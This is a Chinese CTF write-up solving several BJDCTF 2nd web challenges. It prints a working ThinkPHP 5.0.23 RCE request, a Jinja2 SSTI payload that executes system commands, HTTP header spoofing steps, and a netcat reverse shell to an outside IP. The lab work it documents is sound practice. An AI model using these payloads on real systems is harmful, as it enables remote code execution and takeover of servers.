[BJDCTF 2nd]old-hack
通过报错可以看出来是thinkphp版本是的5.0.23:
其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,
导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞:
POST /index.php?s=captcha HTTP/1.1 Host: localhost Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 72 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
成功执行id命令。根目录下有flag。
[BJDCTF 2nd]假猪套天下第一
如果用户名是admin,会弹出警告拒绝qwq。随便填写一个用户名和密码抓包,在源代码会提示L0g1n.php
访问L0g1n.php抓包,提示:Sorry, this site will be available after totally 99 years!
这时发现Cookie里有一个时间戳,把它改大:
修改后提示:Sorry, this site is only optimized for those who comes from localhost
修改XFF为127.0.0.1后提示:Do u think that I dont know X-Forwarded-For?Too young too simple sometimes naive
OK那就换Client-ip: 127.0.0.1成功绕过。
提示:Sorry, this site is only optimized for those who come from gem-love.com
修改Referer:Referer:gem-love.com
修改后提示:Sorry, this site is only optimized for browsers that run on Commodo 64
修改UA:User-Agent: Commodore 64
修改后提示:Sorry, this site is only optimized for those whose email is root@gem-love.com
From:root@gem-love.com
修改后提示:Sorry, this site is only optimized for those who use the http proxy of y1ng.vip if you dont have the proxy, pls contact us to buy, ¥100/Month
HTTP 协议有一个通用头域,叫via,它列出从客户端到 OCS 或者相反方向的响应经过了哪些代理服务器,所以这里修改为:Via:y1ng.vip
修改后得到一串base64,解码即可。
[BJDCTF 2nd]fake google
随便输入一串东西,在源代码里看到提示:
<!--ssssssti & a little trick -->
一把梭:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='Repr' %}{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}{% endif %}{% endfor %}
[BJDCTF 2nd]duangShell
访问.index.php.swp可以下载备份文件,vim -r 恢复内容如下:
过滤了一系列命令和符号,最后用exec执行命令,但是exec是没有回显的,尝试反弹shell,监听8043端口:
nc -lvp 8043
靶机上执行:
nc 174.1.144.162 8043 -e /bin/bash
干。
find /etc|xargs grep flag
[BJDCTF 2nd]elementmaster
需要遍历化学元素表。
import requests url=r"http://122f5fc5-aeac-49e7-b2ed-b66701e60dbf.node3.buuoj.cn/" element=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar', 'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr', 'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue'] for i in element: url2 = url+i+".php" r = requests.get(url2) if r.status_code == 200: print(r.text)
得到And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php,访问即可得到flag。
[BJDCTF 2nd]Schrödinger
访问test.php,发现是提示爆破登陆密码的网页,它和index.php中的描述的功能适用,尝试输入127.0.0.1/test.php,点击input后再点击check:
选中的地方base64解码后发现是时间戳,如果置空会弹出av号:
评论区找到flag: